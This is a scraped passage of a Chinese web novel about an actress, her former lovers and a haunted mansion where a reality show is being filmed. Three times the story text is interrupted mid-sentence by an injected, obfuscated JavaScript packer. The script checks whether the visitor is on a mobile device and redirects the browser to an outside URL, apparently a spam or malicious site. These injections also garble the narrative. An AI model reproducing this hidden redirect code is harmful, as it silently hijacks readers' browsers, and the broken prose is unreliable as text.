梁觉星看向身边的一个镜头:“在拍?” 工作人员赶紧按了几个键:“梁老师,现在可以了。” 梁觉星于是走过去,俯身倾向镜头,动作很随意,碎发垂下来落在耳边她也没有整理,抬手弯起手指轻轻叩了叩屏幕,声音冷淡、神情似笑非笑的:“我回来了,想我了吗?” 陆困溪进大厅的时候宁华茶还在拿着手机用卡到断帧的网玩游戏,坚持用实际行动证明自己没有在等梁觉星。 看到陆困溪进来,他把两手往兜里一插,对着人冷哼一声,陆困溪的肩膀上有点湿、显然是在外面待了太久落了积雪,宁华茶冷眼瞧着,觉得可笑:“你的车早就到了吧,一直不进来,干嘛呢,躲梁觉星?” 陆困溪从他身前走过,看都没看他:“滚开。” 宁华茶本是随口挑衅,听到这话突然有点烦,想起陆困溪和梁觉星恋爱期间甚至分手后,都有粉丝磕他俩的cp,说无论梁觉星跟多少人谈过恋爱、陆困溪都是最般配的一个,冷脸夫妻,连对狗仔说滚的语气都一样。 最后还得出结论,说不愧是初恋。 宁华茶看到都气炸了,初恋怎么了?谁还没个初恋?梁觉星还是我的初恋呢! 他抬腿往楼梯上一蹬,长腿挡在陆困溪身前,语气讥讽:“我发现你这人天生真是会演戏,我和梁觉星谈恋爱的时候,你装着有事大半夜发消息勾引人家女朋友,现在又在梁觉星面前惺惺作态假装无所谓,真是搞笑了,不为了她你能来参加综艺?怎么,真是人到中年影帝下凡了?” 陆困溪听到大半夜那句眉心跳了一下,他终于转头看向宁华茶,神情很冷:“我跟梁觉星到底怎么样跟你没关系,不理你纯粹是因为我不想跟小三说话。”说完,抬脚就把宁华茶的腿踢开。 宁华茶被“小三”这个词说得一愣,一时竟忘了闪避。他觉得陆困溪真是脑子有病,平白无故就认定当时是他插足、破坏他们感情,小三上位成了梁觉星男朋友。 偏偏这事儿他还不知道怎么反驳,因为提起来他也有点心虚。梁觉星和陆困溪谈恋爱的时候搞的声势浩大,他准备跟梁觉星告白的时候确实不知道他们俩到底分手没有,他当时犹豫着想跟梁觉星表态,把事情讲清楚,说自己有道德底线、无论如何也不可能当小三。 但要开口的时候看到梁觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997010|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星正抱着他的吉他在拨弄,月光撒在她的手指上,细长、那么好看,她对着别人的时候总是冷眉冷眼,但是现在坐在他家窗台上,一条腿懒散地垂到地面,姿态很放松,眉心散开、带着一点笑意。 他忽然想算了吧,有所谓吗,当小三又怎么了,只要梁觉星能在自己身边,能这样轻松地待在他的家里,能在这种抬手就能拥抱的距离,那种人为制造的道德标准又有什么意义呢? 只要能和梁觉星在一起,是什么身份根本不重要。他想起以前看到过的帖子,那个论坛里的人不知对梁觉星到底是爱是恨,总是会说些很疯魔的话,有个帖子的结尾是:吵什么吵,要真是梁觉星出现在你面前说要跟你谈恋爱,你能拒绝? 宁华茶心想,我不能。 没人能。 他望着梁觉星,非常冷静地决定自甘堕落。何况这算什么堕落,沉迷在爱里叫什么堕落? 这场战争无声消弭,主角之一的梁觉星毫无察觉。 陈知雪他们赶着要回去,草草收拾了行李就先下去吃饭。节目从明天起才正式录制,算秦楝有良心,今晚工作人员还给提供了晚饭。 梁觉星洗了把脸,从行李箱里随意挑了件衣服换上,然后一边往脸上猛喷了些保湿水,一边走动着打量屋子。 系统的任务不会无的放矢,男主在这个综艺拍摄期间大概率会遇到危及生命的事件,可能来自人、也可能来自任务规则所说的“本任务背景有灵异成分”。 灵异成分来自哪里?人?还是这栋……造型和布置都十分古老的房子? 地上铺了一层波斯风羊毛地毯,暗红打底,绣了颜色鲜艳的各种花卉,很柔软、踩上去会有一瞬的陷落。 房间显然被提前打扫过,桌面上一点积灰也没有,但整体没有被重新整修,墙纸似乎是旧的,非常暗的绿色、近乎于黑,走进细看发现图案是黑底上重重叠叠的绿叶、像茂密湿热不见阳光的丛林,中间间隔画着各种动物,身形掩藏在叶片下面。 窗帘也是同色系、墨绿色,洛可可风,厚重的绒布材质。 于是整个房间显得昏暗、沉闷,像是空间从外向内挤缩,让人有一种窒息般的压抑感。 窗外还下着雪,从窗户照进透过白色纱帘的光线熹微,室内的光源主要靠床头的两盏悬空的壁灯,下垂的花苞造型,渐变的棕色,从浅棕过渡至一种仿佛烧焦的黄黑色,橙黄的光透过水晶灯罩打下来,在墙面上形成网状的光圈。 床对面悬挂着一扇椭圆形的玻璃镜子,小臂长短,金属底框、蛇身蜿蜒缠绕、鳞片反射着微微的冷光,扁平的蛇头上镶嵌两枚红色石头,狭长的眼睛里透漏出不怀好意的目光,一个腐烂的苹果藏匿在纠缠的蛇身之下。 旁边是一个黄铜重力挂钟,钟身镂空处可以看到机械机芯构造,大概已经坏了,摆锤不再摆动,时针静止,停在6:14的位置。实木外壳外是铜鎏金的雕饰,雕琢得细腻瑰丽,模样看上去是两只不同的小鸟,低垂着脑袋,造型很温顺。 光照在上面,在墙面上落下拉长变形的影子,看上去……梁觉星打量着,微微歪过脑袋…… “叮叮叮~叮叮!”手机铃声忽然响起来,一下子将梁觉星惊醒,她退后一步,仿佛是光影的错觉,镜子边缘的蛇身游动了一下,甚至仿佛能听到很低的嘶嘶声。 还没有发生什么事,但这个房间给她的感觉很不舒服,之前她做过一个灵异任务,房间的四面墙壁了埋了十七具尸体的碎肢,眼球在屋顶和地板里,进去的一瞬间就觉得冷,感觉四面八方都有人在无声地注视着自己。 梁觉星扫了表针一眼,接起电话。 4. 004 是陈知雪,说自己已经吃完饭了、准备走,问她有没有收到自己发的嘉宾名单。 梁觉星点开聊天软件,看到文件传输的图标,上面的小圆圈正在缓慢转动——秦楝没说谎,这里的网确实不好。 喷多了的保湿水顺着下巴滑落、无声滴到厚软的地毯上,红色的一小块被泅湿成更深的红褐色,接近陈旧血渍的颜色。 梁觉星垂眼看到,想到什么,蹲下来压低上身,手掌按着地毯凑近——是旧地毯,用过很久,但近期被清洗过,细软的毛线间灰尘不多。 她就着此刻的低视角向四周看去,这种旧物像一种磁场,保留印迹,仿佛能随时重现曾经的房屋主人在这间昏暗房间活动的样子。 手机忽然震动了一下,梁觉星中止线索极少的探索。这个任务世界一上来就隐匿关键信息,显然对外来任务者的排斥度很高,对这种任务世界官方处理原则是“不做探查、减少干预”,以尽量降低被任务世界弹出去的可能。 站起身点开接收完毕的文件,嘉宾一共五人,剩下两位她不认识,内容很短,基本只有一张照片和两三句话的简介。按照人名检索,快速浏览了大概信息。看不出是否是男主,也看不出秦楝选择他们的原因——其中一个人甚至跟娱乐圈毫无关系。 梁觉星收起手机,决定先见到人再说,结果一开门,就见到一位。 高挑清瘦、站姿很端正,穿着一件宽松柔软的米白色针织衫,像那种刻板印象里的大学教授,有点书卷气。 他侧对着梁觉星,正微仰着头看墙面上悬挂的一副壁画。听到门的响动,冲这边转过脸来,戴着一副金边眼镜,镜片后的眉眼很漂亮,像某种月光下的水墨画,淡而柔和。 他看着梁觉星,仿佛愣了一下,然后对她笑起来,比标准的社交笑容更亲切一点——是个不招人讨厌的人:“你好,梁觉星,我是周渚。” 梁觉星已经认出他,和照片上的样子很像,但五官被刻下来的瞬间难免失真,长睫下的眼睛直视着镜头,显得有些寡情冷硬,真人倒比照片上气质更好一些,没什么攻击性,仿佛很容易接近。 她站在原地,对着人自上而下缓慢地打量了一圈。 她记得简历里标注的周渚的职业,某个知名大学语言学专业的副教授。 周渚垂在身侧的手指不自觉地微微抽动了一下,他心想,梁觉星的粉丝说的对,她看人的表情冷漠、丛容、不以为然,有一种自知会被人轻易爱上的冷酷,所以格外迷人。 半晌,梁觉星对周渚点了点头,算是回应,她向他走过两步,一边随意地偏过头,视线顺着他刚才的角度看向墙上的壁画,问道:“周先生是老师?” “周渚。”周渚示意人直接称呼自己的名字,接着回答道,“是的。” “哦,”梁觉星没有看人,明知故问,“是美术学专业的?” 周渚笑了一下,对梁觉星的错认很包容:“是语言学。以人类语言为研究对象,探讨词语演变,追溯词的来源。所以也会学习相应的背景文化。” “那这幅画里有什么特殊的文化体现吗?值得周老师站在这里看。” 壁画是仿制的《伊凡雷帝杀子》,走廊灯光昏暗,就显得色调比原画更压抑昏沉,描绘人像所用的明亮的金色变异成一种暗沉的血色,深重的红色调几乎要融入背景的黑色之中。在暴烈冲动下杀死儿子的男人搂抱垂死的儿子,鲜血从他的手缝中流下来,仿佛因为笔力的问题,那双瘦脸上瞪着的两只大眼珠不见原画的痛苦悔恨,却有一种仿佛是惊恐与癫狂兴奋混杂的恐怖神情。 “1581年11月16日恐怖的伊凡和他的儿子,仿制的很粗糙,线条、比例、甚至颜色都与原画有明显的区别。”周渚说话的语速不急不缓,像脾气很好的老师在课堂上讲课,“粗制滥造到不像仿制、反而像是以原画为主题进行的二次创造,在原画之上添加了画者自己的意图和一些……多余的元素。” 他说着,抬手指了一下地毯上的花纹。 光色太暗,梁觉星更凑近一步,黑色纹路,像是植物,枝蔓细长、中间有一些仿佛是花朵或果实的很小的黑色圆点:“这是什么?” 周渚缓缓念出两个音节,大概是词语,发音很古怪:“意思是:脱离肉身束缚、自死亡获得新生。这个符号就代表生与死的连接。”他的语气很轻松,“是西太平洋东加罗林群岛中一个小岛上的一些信徒所信奉的宗/教。教派人数不多,但传承了很多年,从教义上来看很可能是从犹太教衍生出来的。” “很有意思,这个符号不多见,所以多看了两眼。” 梁觉星的目光扫过整个画布,在这样的光线下能注意到这一点几乎完全融进地毯里的花纹,很不容易:“语言学还要学这么多东西。” “语符学派认为语言从本质上来看是一个由符号构成的形式系统。”周渚单方面结束这场对画作的讨论,转身准备往楼下走,“要去餐厅吗?” 梁觉星在他身后深深地看了他一眼,而后抬步跟上。 楼梯走到一半,有工作人员扛着梯子上来,周渚和梁觉星右靠避让,两人距离有点近,梁觉星问道:“周老师之前来过这里吗?” 周渚没回答,此时身旁的工作人员脚下没踩稳、身型一滑,周渚猛地上前、伸手托住他肩膀上下坠的梯子。 梁觉星微微挑眉,刚才没注意,现在才看出来,教授看着文质彬彬,衣服底下倒是藏有肌肉。 周渚待人站稳后松手,听人道谢,很温柔地说不客气。 两人走下楼梯后转为并排,像是忘了刚才的提问,周渚忽然开口道:“我之前看过你的戏,我很喜欢。” 这个结论匪夷所思到梁觉星都顿了一下,开什么玩笑,她演技差可是娱乐圈难得的一条公认定理。 她知道自己有些粉丝,看她干什么都觉得好,电视剧里她歪一下脑袋,都要夸她这个角度把握得特别微妙。 周渚看上去一脸理智,难道还是自己的脑残粉? 周渚察觉到她落后自己一步,转过身来,看清她脸上的表情后明白她的想法,不好意思地笑了一下,解释道:“抱歉,我不是那个意思,是mv里的一个片段,你看着什么人笑了一下,好像是对方犯了什么错,你的表情看起来很包容。” 周渚回忆着,语调微微拉长,“眼神很温柔,我不知道该怎么形容,但被你用那种眼神看着的人应该觉得很有……安全感。” 梁觉星只拍过一个mv,所以竟然回忆起那个片段,三秒钟的镜头,她拍了两次,导演已经考虑要不然算了,这时她看到镜头外的宁华茶,明明已经被经纪人揪着耳朵再三叮嘱不要暴露恋情,竟然跑出来等她下班。 戴着帽子、口罩,露在外面的眼睛笑嘻嘻的,看她发现了自己就冲她挥手,兴奋地像条出门放风的快乐小狗。 梁觉星顿了一下,片刻后轻笑、像发出一声叹息:“也未必。” 走到餐厅门口时,迎头撞上宁华茶,似乎正准备出来,看清他俩后脚下一顿,转身又进去给自己拿了盘沙拉。装的速度很慢,几乎是拿夹子一片叶子一片叶子地往盘子里装,直到梁觉星两人落座,他才一脸自然地溜达到那张桌子旁、坐到梁觉星手边。 梁觉星瞟了他一眼,没有说话。 楼上忽然传来一阵跑步声,听脚步声是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997011|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、三个人,步频很快、又有点杂乱,不太像成人,更像是嬉笑打闹的儿童。 宁华茶纳闷:“拍节目还有人带小孩来?” 没注意到梁觉星和周渚的表情有一瞬的微变。 梁觉星手指轻轻摸索着杯壁,身体后仰靠着椅背,眼神若有所思地扫过周渚,而后垂下眼睛喝了一口果汁。 周渚的神情恢复如常时,梁觉星已经低下头拿起筷子。 梁觉星吃饭速度很快,动作算不上优雅,像一只进食的动物、目的性很强、动作干净利落,有一种别样的可观性。 宁华茶满满一盘蔬菜沙拉,起先还掩饰性地偶尔吃两口,后来干脆把叉子放在一边,只是抱着胳膊安静地看着梁觉星。 他的眉眼生得凌厉,没什么神情的时候会显得有些阴沉,但现在他坐在梁觉星手边,气息却非常平稳温和,像一只浑身肌肉蓬勃已经蓄势待发准备撕咬开猎物喉咙的野兽、忽然看到自己的主人,于是放松身形收起利爪,悠闲地踱步到主人身边去,垂下脑袋,姿态温顺地等待被套上锁链。 完全丧失野性,仿佛天生期待被驯服。 他在心里唾弃自己下贱,只是这样坐在梁觉星身边,竟然已经觉得心满意足。 但他当然会觉得满足,他已经三年没有看到过梁觉星,整整三年、音讯全无,发出的消息得不到回应,后来连号码都变成空号,他在网上拼命搜索有关于她的消息,连陌生人拍得一个疑似背影他都要看好久,心想她在克罗地亚十六湖公园徒步吗,在亚美尼亚一望无际的草甸上藏着的某座修道院里吗,在格林诺克的公路边眺望苏格兰西海岸吗。 有一次他看到的一张照片真的很像,虽然只是背影,但那件外套他记得梁觉星穿过,他几乎没有犹豫、当即订了机票。可笑的是,后来那个背影的主人回复了帖子,澄清自己的身份,说没想到会有人把自己认成梁觉星,语气很惊喜。 宁华茶看到这条帖子的时候,已经置身特罗姆瑟,太冷,呼吸时喉咙里都是刺痛,他慢慢放下手机,仰头看着极光,心想,有上帝吗,或者任何一位神,能听到我的声音吗。 我想再见梁觉星一面。 拜托。 梁觉星正在剥鸡蛋,察觉到宁华茶的气息不对,具体形容不上来,她扫了他一眼,感觉莫名其妙,不懂这人心里在瞎琢磨些什么,也不打算细究他的波澜起伏,但把最后一片蛋壳拨下来,随手将鸡蛋递过去,语气轻描淡写:“吃吗?” 宁华茶愣住,蜷缩着的手指抽搐了一下,然后回过神来有些呆呆地接过去。 梁觉星没再理他,一边拿起一颗新的茶叶蛋,一边转头问周渚:“你和秦楝怎么认识的?” 语气不算客气,周渚没有介意,“之前给秦导的一个综艺作为专业指导。”他顿了一下,见梁觉星没有停止话题的意思,于是继续解释,“那个综艺的主题环绕一处新发现的古国遗址,嘉宾里正好有我的同窗。” 他讲话语气和缓、语速不紧不慢,是讲故事的好手,很容易让人听进去。 梁觉星应了一声,想继续问,手机忽然震动了一下,周渚避嫌地挪开目光,宁华茶下意识看了过去,没看屏幕、看的是梁觉星的脸。 消息大概不长,梁觉星很快看完,下一秒,脸上显露出玩味的神色,似乎觉得有趣、又有些为难,她关闭屏幕、手机在指间转了两下,而后若有所思地用手机一角轻轻叩击着桌面。 收到的是一封邮件。 正文只有几句,非常客气的问候用语,附件是一份公证文书的扫描件。 内容—— 是她和那位远在某国的丈夫的离婚协议。 5. 005 宁华茶知道这是她思考问题时的习惯。 有手机的时候用手机、有笔的时候用笔,手上什么都没有的时候,就用指尖一下一下地敲击、发出类似于钟针拨片的声音,他之前观察过,敲击的频率和秒针行走的频率是一样的。 他曾在某个瞬间难以避免闪过一个念头:这很难说不是一种经过训练后的成果。但这个想法很快消失、寻觅无踪。 这时工作人员忽然出现,说秦楝请他们去会客厅,最后一位嘉宾马上就要到了,等人齐了以后需要拍一些宣传照片和视频。 穿过走廊的时候宁华茶随口问人这房子里面有小孩吗。 走廊整体密闭,墙面上每隔一段镶有壁灯,造型简单,灯泡外罩一层烟灰色的玻璃灯罩,橙色的灯光被渗透得更黯淡,变成了一种老式油灯的颜色。 工作人员走在最前面,脸色在昏暗的光线下模糊不清,听清宁华茶的问题后他身形明显顿了一下,但是再开口时声音很平静:“当然没有了,宁老师,怎么了吗?” “没什么,”宁华茶说,“刚才好像听到有小孩子在跑。” 工作人员笑了一下,终于带他们走出走廊,他转过头来,灯光下表情如常:“这种旧房子,又是乱七八糟的管道又是木地板的,声音很容易被改变。” “我们之前来布置东西,半夜听到有小孩在哭,吓了一大跳,第二天早晨去检查,发现是地下室堆放的一个小号的黄铜管,被风吹了以后发出的声音。” 宁华茶应了一声,没在意,抬脚走了。 梁觉星刻意慢下脚步,落在最后,走到工作人员身边时,微微偏头瞥了他一眼,语气很无所谓、像是随口一说:“半夜听到小孩哭,第二天早晨才去看吗?” 工作人员身形猛地一僵。 梁觉星没有理会,仿佛根本不在意答案。 进入会客厅,就见秦楝和陆困溪已经坐在里面。室内是欧洲中世纪的风格,装潢严肃沉闷,整体色调以暗红色与橄榄绿色为主。 绒布窗帘没有拉上,可以看到外面的雪越下越大,仿佛整个世界都被困在颠倒飘浮的雪花之中。 壁炉点燃了,木柴发出清脆的噼啪声,炉火如呼吸一般明亮又黯淡,在秦楝和陆困溪身上打下橙黄的光晕。 壁炉前环绕状布置了五把椅子,显然是为他们准备的。 秦楝没有什么坐相,将自己深陷进造型华丽的绒布座垫里,看见他们进屋,懒散地挥了挥手,然后站了起来,将正中的椅子腾出来,不忘两指夹着杯沿拎走自己的酒杯。 梁觉星没有犹豫,径直走过去坐在了最中间,她左手边是早已在那里的陆困溪,宁华茶白了陆困溪一眼,坐到梁觉星右手边的位置。周渚本就在宁华茶身边,自然而然地坐到他旁边。 陆困溪没说什么,秦楝走的时候他的手机正好响了起来,他微微侧过身体去接电话。 工作人员跟着进来,询问他们要喝什么,梁觉星问刚才餐厅里那个苹果、芭乐、黄瓜混在一起打的果汁还有吗,有的话她想要杯那个,工作人员说没有问题,又转身去问陆困溪。 陆困溪的电话没有打完,虽然没有说话、但显然电话那头的人在说着什么,陆困溪一直沉默地听着,偶尔嗯一声。电话应该不长,他眼尾扫了工作人员一眼,但没有理会。 于是工作人员一直保持着微微躬身等待的姿势。 梁觉星观察着走到一边的秦楝,余光收拢进他们,等了两秒,转头冲人挥了挥手,没看陆困溪,径直擅自替他做决定、说他和我喝一样的。 她没有多想,单纯想解救工作人员,忽略了这种点法是她和陆困溪在一起时的旧日习惯。陆困溪喝东西嘴刁、一点细枝末节的偏差都能尝得出来,但似乎没有什么偏好,刚跟梁觉星在一起时经常梁觉星喝什么他就点杯同样的,所以后来梁觉星跟他一起吃饭,经常先挑一杯自己喜欢的,看他一眼没反应,再跟人补充说,要两杯。 陆困溪没有说话、仿佛没有听见,但握住手机的手猛地攥紧,用力到连手背上的青筋都凸起。 但梁觉星没有注意到,因为宁华茶突然开始鬼叫,问你为什么要替他点东西。 梁觉星深吸了两口气,她怀疑宁华茶和陆困溪因为某个她不知道的缘故成了敌人,或许是谁抢过谁的戏。 大概率是陆困溪抢宁华茶的,宁华茶没那个本事抢得过陆困溪。 这场闹剧没上演太久,隔着窗户他们忽然看到门口的灯光亮了起来。 随后响起清晰的敲门声。 几秒钟过后、大门打开,有人絮絮低语,随后脚步声响起。 风声先至,裹着无数雪花迎面扑来一阵寒流,连身后的炉火都倏得一抖、整个房间顷刻间猛然一暗又转而亮起。 祁笑春就在这样的光色中踱步而至,像什么关键场次的大人物,步调很欢快。 高、瘦,敞怀穿了件皮衣,一头蓝灰色的卷毛,卷很大、看着像天生的,略长、发尾在脑后扎了个小揪。一副好皮相,很容易让人联想到阳光明媚、桃花盛开的春日好景象。 “晚上好啊朋友们!”祁笑春快速把在场人物一扫,笑眯眯地冲人挥手,幅度夸张、像舞台剧演员,十足阳光开朗大男孩。 宁华茶跟着梁觉星一起站起来,眼尾余光瞄到陆困溪正侧头看着梁觉星,他动作不变、上身悄悄后仰,盯紧陆困溪,用眼神示意,干嘛呢你? 陆困溪瞟他一眼,脸上没什么表情,但微微挑了一下眉头,而后扭过头去跟众人一起站起。 宁华茶一下子从他挑衅的微表情里明白他的意思,靠!这王八蛋!跟他显摆梁觉星单独给他点饮料! 祁笑春个高腿长、刚才几步路从车上跑到门廊下,身上没落什么积雪,他脱下外套甩了两下,随手挂在一旁的落地灯上。 “各位,咱们就不用自我介绍了吧。”祁笑春脸上带着笑、那种没什么心事的轻松表情,用眼神分别跟人打招呼,在梁觉星身上顿了一下、又神色如常地挪开。 梁觉星多看了人两眼,她扫过他的简介,主业是戏剧演员,几年前参加过秦楝的一档综艺,是和海外合拍的灵媒真人秀,他只参加了一期就退赛了。 片段不长,昏暗房间里他和主持人、嘉宾坐在桌子的两端,懒懒靠着椅背,翘着二郎腿、坐姿很放松。 当期的考验项目是隔着快递文件的文件封说出里面放置的东西。文件封用特殊纸张制成,表面经过特殊处理、另覆一层蜡质,完全不透光、材质很硬,只能摸出里面的东西不厚,但无法确认具体物品。 可能是几张A4纸、一张发票、或是什么都没有。 他拿起文件封、动作漫不经心,和其他参赛者的紧张神情形成鲜明对比,慢慢举到对面的嘉宾——也就是内容物提供者的脸侧、几乎与她平行,他的目光在两者间来回转了一圈,仿佛真的能看清里面的东西。 中途停下来,仿佛被什么吸引,偏头看了一眼嘉宾身后脚下的位置。 然后目光挪回来,神色很自然,随意地将文件封甩到桌上,对人公布谜底:“是你小孩的照片,眼睛,”他比划了一下,“和你长得很像。” 说完便站起来,向主持人比了一个手势,表示自己要撤,走到嘉宾身边时,脚步微顿、俯身凑到她耳边,低声说:“你的猫,跟你一起来了,在你脚边。” 她脸上的血色顷刻间褪尽、瞳孔骤缩、仿佛白日见鬼。 镜头里她的脚边空无一物。 在祁笑春进屋的同时,秦楝给自己猛灌了两杯冰美式,把精神和□□从那副昏昏欲睡的状态里迅速拽了出来。 手指像指挥棒,快速转动着钦点了几个人、语速很快、安排布置他们的工作,大概都是他常用的人,效率极高,扛着仪器几乎是小跑着定位,人影流动、很有条理。 显然秦楝是这个节目的绝对主人,站在至高无上的地位掌控一切,甚至不像在控制员工、而像操纵一些没有血肉感情的机器,要完全服从他的指令。 场上只剩下陆困溪身边的那个位置,祁笑春没提出什么异议,走过梁觉星身前时,他停下来,俯身向她做了一个社交的拥抱动作:“好久不见,听说你结婚了?怎么也没通知我参加婚礼。” 说话的语气熟稔、像是两人曾经关系十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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梁觉星听着身后的篝火声,垂眸看着放在腿上十指交叉掌心相对合拢的手指,在很容易让人昏昏欲睡的温度中感受周围那些直接或间接地关注自己的目光,在最后一秒看向镜头。 之后五人需要再去书房拍一张宣传照。 工作人员先搬一堆仪器过去,宁华茶歪过上身凑到梁觉星身边,问她那杯果汁什么味道,“好喝的话下次我也试试,苹果混黄瓜,听着还挺健康。” 祁笑春两手插兜晃悠到周渚旁边,梁觉星目光跟过去,耳朵里听见宁华茶说什么果汁、剩下的话漏了大半,她注意力没放在他身上,随意将杯子往他那边一推,示意人自己尝味道。 祁笑春站在周渚身前,垂着脑袋对他说了些什么,周渚看着他,脸上还是那副很温和的笑容,很短地回了几个字,祁笑春大笑起来,像是周渚说了句很好笑的回答。 这时工作人员过来叫他们,祁笑春脸上的笑意残存,转头看到梁觉星,咧着嘴对她挑了挑眉头,似乎想说什么,眼神往她身边的宁华茶身上一滑,又收回去,嘴角挑了个自嘲的弧度。 照片还是由秦楝亲自操刀。 五把椅子、同样的位置。 秦楝安排人布置好灯光,跟他们讲解自己要做的效果。要做重曝,在一张照片上实现正像加负像效果。这种表现结果通过后期也能做到,但他不喜欢,像某种有艺术家信仰的保守摄影师,坚持要在胶片上实现。 先是一张全员坐姿,秦楝站在相机架后,调整构图、对焦器对焦,然后他对旁边打了个响指,房间内多余灯光全部熄灭。 整个屋子陷入漆黑、光只照在他们五个人身上,像是无边旷野里被清晰指明的唯一目标。而所有的工作人员掩藏在黑暗之中,用无法分辨的表情盯着这点光亮。 没有人再说话,有一瞬这间房间寂静的像一间停尸房。 测试闪光灯确定同步后,秦楝说ok,同时按下快门。 “咔”机械的冰冷声音。 秦楝没有动,一直盯着镜头,两秒钟后,他站直身体。 镜头里仿佛出现了什么很有意思的东西,他垂眼看着、脸上慢慢浮现出一个饶有兴趣的笑容。 “呵,”他嗤笑一声,像是无所谓,“浪费我一张底片。” 6. 006 同一画面再次拍摄,这次没出什么问题。 秦楝拍了拍手,“现在老板们随便干点儿什么,只要活动区域在……”他抬手划了一下椅子背后与书墙之间的区域,“这一片就行。” 圈地的样子像放牧的人,看着自己的羊群,知道它们会乖乖待在这一片草地里,所以不需要牧羊犬。 宁华茶边放松着肩膀边走到梁觉星身边,梁觉星若有所思地看过秦楝的镜头、随手替他理了一下领子,陆困溪目光从梁觉星身上掠过、快的仿佛完全没有停留,从身后书架上拿下一本书,周渚侧身看向窗外的雪,而祁笑春两手手肘支着椅背、歪头笑眯眯地盯着中间方向。 秦楝按下快门,所有人像在底片上定格。 他看着镜头愉快地吹了声口哨:“好漂亮啊老板们。”轻笑一声,声音更低、近乎自语,“真精彩呢。” 拍的是胶片,梁觉星以为秦楝很快会去冲印。 结果二十分钟后再看到他,是在小会客厅里,他坐靠在椅子里,美式乡村田园风格的休闲椅,填充饱满、看上去柔软蓬松。面前的小圆桌上放着红酒杯,一个人悠闲自得地自斟自饮。 看到梁觉星从门口路过,他对她举杯:“来喝点吗?”邀请得很随意、仿佛不在乎结果、也不在乎此刻路过的是谁。 他又陷在醉意里、但因为醉意显得兴致勃勃。 梁觉星停了一下、改变了行进路线。 他专注地看着梁觉星,目光随着她的脚步移动。眼神明亮,像看着什么很漂亮的珠宝。 梁觉星不知道,他们曾经见过。 大概是四年前的某天,他从拍摄房间出来,看到梁觉星和经纪人一起走进场地,一堆不知道是粉丝还是什么的人忽然从门口涌入,情绪很激动,人浪直接向她们两个扑了过去。 梁觉星头都没回,快速向反方向迈出一步闪避,同时向后伸长胳膊去拉经纪人。经纪人被人群冲撞到,半边身子连带着另一只胳膊磕到墙上,身形刚一矮,又被她及时捞起来,脚下踉跄着就被她握住小臂扶稳了。 梁觉星冲人群扫了一眼,目光很冷,但没有停留,很快带着人离开。 几秒钟的功夫,秦楝下定义,身形很漂亮,但可惜、戴着口罩、看不清脸。 谁知半小时后,正在阳台抽烟时又看到她们两个。 他已经听说她当日的行程,一款瑞士高级制表的广告拍摄,她咖位原本够不上,但他们的御用摄影师坚持要用她,据说见了一面惊为天人、直呼Jevoislavieenrose。 他此时看清梁觉星的脸,心想,那法国佬说的倒也不算夸张。 她坐在沙发上,表情很淡、单手支着脑袋听经纪人讲话,看人抬手想看时间、又把胳膊放下、去掏手机。 她随手拿起一旁的盒子,打开看了一眼,递给经纪人。 看口型是在说:“送你了。” 秦楝看清表的样子,蓝底表盘,嵌一颗大克拉的钻石,认出是他们家的经典款,价格三百多万。 难怪,他心想,传闻演技差到离奇工作人员却不离不弃。一身快消品牌却肯送人三百多万的手表,仿佛那么贵的东西跟人比起来在她心里也不算什么,而且……那么慌乱的情况下、竟然还注意到人磕到胳膊摔破了表。 秦楝咬着烟蒂深吸了一口,不得不说,梁觉星送礼物时候那副没什么所谓的样子,真的很迷人。 偏偏神情并不敷衍,眼神落在人身上只一秒,却会让人生出幻想,觉得在那一刻被她置于世界的中央。 没有人能不爱她,他隔着飘渺的烟雾看梁觉星的身影。 就像维纳斯的诞生,风神要将贝壳吹到岸边,春之女神要为她换上新装,花瓣纷纷从天飘落,齐齐歌颂她的美丽。 游吟诗人的钟情对象。 梁觉星坐到秦楝对面,她面前的桌上正放着一只空酒杯——秦楝似乎随时做好邀人喝酒的准备,具有良好的酒鬼素养。 梁觉星没犹豫,给自己倒了一杯底、浅喝一口。酒不错、秦楝意料之中的品味良好,口感柔和平滑、有浓郁的浆果风味。 秦楝观察她的脸色、笑了一下:“是家新开的酒庄,味道没什么特色,不过酒标蛮有意思,是纺锤和剪刀。” 梁觉星了然:“Μοιρα” “没错、命运三姐妹,纺织、丈量、最后,”秦楝玩味地做了个剪断的手势,“咔,命运终止。”说完后自己又喝了一口,“感觉怎么样,这里。” “还不错,很漂亮,但是灯太暗了、有点阴森。”梁觉星手指点着扶手,像是想起什么,短促地笑了一下,“倒是适合祁笑春。你请他来是为了这个吗?给生活慢综添点恐怖氛围?” 秦楝大笑起来:“你知道祁笑春见我第一面说什么吗,他问我,从哪里找来这么鬼气森森的房子。”他慢悠悠地晃了晃酒杯,盯着梁觉星,“这么说你是看过他的那档节目了,怎么样,你信吗?信他真的能看到鬼、或者说……灵魂之类的东西。” 不止是信,朋友,是知道、了解、确认。 任务规则第四条,前半句:本任务背景有灵异成分; 可惜还有后半句:我的人设是:无神主义者。 梁觉星嗤笑一声,语气很无所谓:“当然不信。比起这世界上有人能看见鬼、节目为了噱头搞黑幕更现实吧。” 